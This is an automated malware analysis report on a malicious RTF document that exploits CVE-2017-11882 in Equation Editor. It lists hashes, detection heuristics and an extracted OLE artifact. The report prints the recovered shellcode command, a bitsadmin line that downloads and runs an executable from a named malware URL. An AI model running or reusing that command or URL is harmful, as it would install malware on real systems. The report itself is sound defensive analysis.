RTF malware analysis — malicious · 87bfd1663824ad27

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2019-08-04

MD5: 29cb55d3349b85a9aefd95792f4633c3 SHA-1: eb0202415d4a688a4fe77d190623ff8b8ffd2c2f SHA-256: 87bfd1663824ad2724aa430977a4c260a0758d6ef92aef7d7565fdbed8b44b39

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The RTF file contains an embedded OLE object that exploits CVE-2017-11882 in the Equation Editor. This exploit is designed to download and execute a secondary payload from the URL http://onlinecloud.tk/ht/mit.exe. The presence of shellcode and command strings within the extracted artifact further supports this malicious intent.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://onlinecloud.tk/ht/mit.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000362.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x362	3546 bytes
SHA-256: `a91d44baceb90696ddbe28f2a644ed048bc3331f791f7b47c06582aa29dc95d7`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://onlinecloud.tk/ht/mit.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download http://onlinecloud.tk/ht/mit.exe %temp%\Gr.Exe&%temp%\Gr.Exe

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